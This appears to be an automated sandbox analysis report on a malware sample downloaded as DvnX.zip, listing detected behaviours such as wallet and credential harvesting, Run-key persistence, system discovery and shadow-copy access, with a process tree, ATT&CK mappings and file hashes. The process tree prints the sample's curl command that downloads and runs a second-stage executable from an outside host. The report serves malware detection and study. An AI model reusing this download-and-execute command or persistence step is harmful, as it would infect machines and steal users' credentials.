hxxps://ldc[.]multidex[.]life/DvnX[.]zip

Resubmissions

27/10/2026, 16:46

261027-vad9fsew6w8

27/10/2026, 03:43

261027-eae8rax13m8

Analysis

user interaction
yes
max time kernel
78s
max time network
70s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 03:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://ldc.multidex.life/DvnX.zip
Sample261027-eae8rax13m

Score

8^/10

discovery persistence ransomware spyware

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
19	5964	curl.exe

Executes dropped EXE 2 IoCs

pid	Process
4768	0e59c1140.exe
636	0e59c1140.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\qemu-ga = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0e59c1140.exe"	0e59c1140.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com
2	api.ipify.org
29	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	0e59c1140.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	0e59c1140.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3940	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4324	chrome.exe
4324	chrome.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe
1028	DvnX.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe
Token: SeShutdownPrivilege	4324	chrome.exe
Token: SeCreatePagefilePrivilege	4324	chrome.exe

Suspicious use of FindShellTrayWindow 43 IoCs

pid	Process
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe
4324	chrome.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 6072	4324	chrome.exe	88
PID 4324 wrote to memory of 4200	4324	chrome.exe	90
PID 4324 wrote to memory of 4200	4324	chrome.exe	90
PID 4324 wrote to memory of 3940	4324	chrome.exe	91
PID 4324 wrote to memory of 2948	4324	chrome.exe	92
PID 4324 wrote to memory of 2948	4324	chrome.exe	92
PID 4324 wrote to memory of 2336	4324	chrome.exe	94
PID 4324 wrote to memory of 1452	4324	chrome.exe	95
PID 4324 wrote to memory of 2336	4324	chrome.exe	94
PID 4324 wrote to memory of 1452	4324	chrome.exe	95
PID 4324 wrote to memory of 5556	4324	chrome.exe	96
PID 4324 wrote to memory of 2764	4324	chrome.exe	98
PID 4324 wrote to memory of 2408	4324	chrome.exe	99
PID 4324 wrote to memory of 1212	4324	chrome.exe	100
PID 4324 wrote to memory of 2408	4324	chrome.exe	99
PID 4324 wrote to memory of 1212	4324	chrome.exe	100
PID 4324 wrote to memory of 5908	4324	chrome.exe	103
PID 4324 wrote to memory of 1744	4324	chrome.exe	104
PID 4324 wrote to memory of 5908	4324	chrome.exe	103
PID 4324 wrote to memory of 1744	4324	chrome.exe	104
PID 4324 wrote to memory of 6092	4324	chrome.exe	106
PID 4324 wrote to memory of 6092	4324	chrome.exe	106
PID 1028 wrote to memory of 5964	1028	DvnX.exe	111
PID 1028 wrote to memory of 4768	1028	DvnX.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	19	curl/8.8.0

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://ldc.multidex.life/DvnX.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9770dc728,0x7ff9770dc734,0x7ff9770dc740
  2⤵
  PID:6072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,8832935665733328448,14559014698575806005,262144 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
  2⤵
  PID:4200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,8858189136508721454,18235012881240584807,524288 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2300,i,4210631715536461504,9022393960151530170,524288 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:13
  2⤵
  PID:2948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3224,i,12079464087605368370,6429529316529421498,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:2336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,9533566235098345083,9120839217693898340,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
  2⤵
  PID:1452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5488,i,7735632315425026822,11222072236895300028,524288 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
  2⤵
  PID:5556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4676,i,1213338730420168400,3533657645498128262,524288 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
  2⤵
  PID:2764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5628,i,13544606476660754716,5394893854432586325,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:1
  2⤵
  PID:2408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5748,i,254932510326561221,8829119871471619673,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:1
  2⤵
  PID:1212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6036,i,13978858544982163281,1541915912979987506,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:5908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=6244,i,15624796660727046412,869840748226212168,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:1
  2⤵
  PID:1744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5772,i,15616128426814476710,6024356228208327533,2097152 --field-trial-handle=1916,i,10693684695168360003,124138333550917946,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:1
  2⤵
  PID:6092

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5904

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4848

C:\Users\Admin\Desktop\DvnX\DvnX.exe
"C:\Users\Admin\Desktop\DvnX\DvnX.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e59c1140.exe" "https://cdn.wpoler.help/qua.exe"
  2⤵
  - Downloads MZ/PE file
  PID:5964
- C:\Users\Admin\AppData\Local\Temp\0e59c1140.exe
  "C:\Users\Admin\AppData\Local\Temp\0e59c1140.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Reads the TCP/IP host and domain name from the registry
  PID:4768

C:\Users\Admin\AppData\Local\Temp\0e59c1140.exe
C:\Users\Admin\AppData\Local\Temp\0e59c1140.exe
1⤵
- Executes dropped EXE
PID:636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

73b70e12-b196-4cd7-af63-8e72be9025f9.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\73b70e12-b196-4cd7-af63-8e72be9025f9.tmp
Size 4KB
SHA256 4f6ad5d2793040c7e0c5cf63aa5a46bede8ca1fbc820b9e5b901646c68e3fc2e
MD5 68d3acc37a0a3a31374bece49b9d7739
SHA1 85252eda37fe0fc5cd9fb854f36afe4c6dbe9d25
SHA512 9f42dbc4297ae4e82b82dc5b9292b07bbc8c3f13b5c4cda3ddbc67389d01ce404cb39c93944b50a1240479a4fdd1e27367678c7208dcfda53d9ce3c0a0fcc425
SSDEEP 96:pC0d+U7D/u1i5WFtfvuvTj7sCRDotok5THD0B6jGyvutFDLBJmbYLsv4a:pC0z7q134vtDUD/4f7FDLBJmbY6
TLSH
T172A10A70A8BD99778576C485F5422A43CEB462BFA902BF84D8DD1A1C11EB5FC1312927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 84ae77e4d131e93379683481e2602a0250f7ccaba40692ed2949a816431c9da9
MD5 ebcc9a297e5c474090962ed19a5e48a9
SHA1 2e86ffcad4ddd1266a3658610fed4361bfa6153f
SHA512 1346cabd9fe762b02f75bbf7904d7abe5469c2a7cef859aa89ea76204ae27b1759fd0a4435de57059ad8d709fdc549c5703fbcd74fded771fbb19adb99bde62a
MD5 SHA1 SHA512

Submit Download

2051ea4a-6b4d-4f10-a2f9-f29e36da2c0e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\2051ea4a-6b4d-4f10-a2f9-f29e36da2c0e.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

6636363c-3946-4bb4-a8bd-9ce193adb2de.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\6636363c-3946-4bb4-a8bd-9ce193adb2de.tmp
Size 11KB
SHA256 b3006bbe31ae9c54bd578ab8369786313943fc4c6c84faa1d54312bef82e383f
MD5 333d87903e8504efdef778c77810173b
SHA1 a039024a7d1306e1b7c8762c9622f1d6e42ccb7b
SHA512 0a060ee7541532686e06b1f618d13dedaa6ccec5659e3f7b61a4d58204c6eb9245caae25b9e03a7da545330336883519590984544589a7aec2012d365d1cf56c
SSDEEP 192:SR2knGqPv7AvAPRp2N9THsb+WNn3DPwRP5Ijao1hhPyIsnAUgR:SR2kGqHs6XO9wTPe+a+R
TLSH
T1B732932AAD24353FADDBC229FA257713D6F9103125912E88E7FC892C25E75DC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

97d3fb99-2ad3-4628-b611-c57ec7cc920b.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\97d3fb99-2ad3-4628-b611-c57ec7cc920b.tmp
Size 11KB
SHA256 61abad0b9ab114a83375fba12357383f0f44f5a04f064051f660c3b759e7ff35
MD5 ccc952b560b4c98ab5765662578e33ba
SHA1 ef2e23b8fe46fb30215fd6971284c9142442448a
SHA512 4eafe8851407d21272dd2a634f7350b1cd5cf2126cbedb8d74ffcada3d56fa8feddb3decff3d35a4e5e06066422427d4966f6e3319faecca9759402da6fbe98a
SSDEEP 192:eYX4K64y7KxkXqK4I40pUZNCgVLHrKHfFKslE2gOXzKD/XW+ErUkKN9cXcYxSgLu:dXj/y7KxkXqKf/pUZNCgVLH2HfgslsOe
TLSH
T1E932EA17A48D9E3F0FE8E51DCC426F8B7CB5016227784D24A2FB5C0803A97CA115A6F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 898bb5b986ab4479f1ac9a8972ada02927c4319c829b0a4b2527205a87fa74e3
MD5 054bf77744c06a9f60c322749ddf1713
SHA1 2467be3a26fdd7d4c22f0f48662dfa8633f270be
SHA512 870c4b30051f0672ffe5f371a72ee8f323bb37524ede237deec08e8f1e387913cf2d6dd19ca1dc15ee28ecac7d678395a87a105fa772575efa025c1f97ebbd9b
SSDEEP 96:Z+Jj/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:Z+Jj/tH+bF+UI3iWGVYWNkqp3
TLSH
T1E4F31C1E5F343311CDBE927629E745B3597CF03F8B2326856CA114B0CEE2652A06C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5f12b23a-2d94-4283-9b58-bbac98f78a44.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\5f12b23a-2d94-4283-9b58-bbac98f78a44.tmp
Size 1KB
SHA256 f5c3a07eee13273978414a537aa84bad9f47e198c839a4549dda5d07c2126213
MD5 aa0f13745f46e21c3e092ac257c02f59
SHA1 4d95db480e0ef6375efcc25ea51e39ccb1440c99
SHA512 6fba40d23723115d212a7dd24e961ec829105ecc47c26aef453908113213d59f8ab5f71cdf0ec6ff0cd15c641668d02c838909703eea7df7f835493fbc707d1f
TLSH
T1463199F783B4997E8A0192F4EB15AF1FCE690524131C3C66C8D46E1B93E2972E10478F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

d8f467b8-eab1-4766-958b-d5c56a37719b.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\d8f467b8-eab1-4766-958b-d5c56a37719b.tmp
Size 523B
SHA256 b9fd2be3594be2ece7eee6f37ffd740c61b0cc0ea830782b7bedd94301608142
MD5 59063b447870bf5e75a1dfbac8163d41
SHA1 b8a69acf3ea92c84341d3a1c83663dfce870ecdf
SHA512 b27ae230daa28467ae92d9b981cae0a3f7b9e936006e3289fd6e371f9ea580fc1a5ea4150b8aea4c30e7f6a666359c29fb5cfc2087149232c3622b2805977372
TLSH
T182F050B7FB7DB4A7507944AA5E00B8455C75E431424094F0DE9AC26CB0952E31B12457
MD5 SHA1 SHA512 TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 165601743ee99c875aeaac9871936d89ca48d16ec8b91bcc438c9caabf639442
MD5 3b685d48e6d17a67c8e11d3f6a17d83c
SHA1 1c9946077e98d001eaf7c5d8808b468bd52fd509
SHA512 1f02ddf0ff690b82bbc5fed1ad2d880c0ce874f2159f29706bed06f10f9950015e295edb43865c17eb47c301caef1c1bf435420afe68d03dccbdd90a00dd9569
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OQ7MC7yVummnNa35:1nbZeMrv/hGtQ7MCbnNa35
TLSH
T1AFD3974B3A743002DDE59A761CE050BB5E3CB16D8F55A5D428B620588EF2963B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

afdf2434-7060-426b-841e-5aa4d12ce6ea.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\afdf2434-7060-426b-841e-5aa4d12ce6ea.tmp
Size 414B
SHA256 c82659bc3b1507a6ed0300cd66333f32d4517ea5d852bc72a6702eb569c42311
MD5 16ca6f170619b10ed02ecd7071b04d29
SHA1 ee0a323b21a0cf4c6f060b50564f52380f2a2378
SHA512 2003d4e3c3207d96281b64c9ba95800fd19d1666970ef57a7b182841b37631995b3812b638c1e1aab2ca8bd05f086f8a1d156ac84ee1e7b46892e608acef3706
TLSH
T19AE022A9CD70ED2B1DFD4B28A0641246FA1507272A904A0F3A3C820C8FB5A3A819782C
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
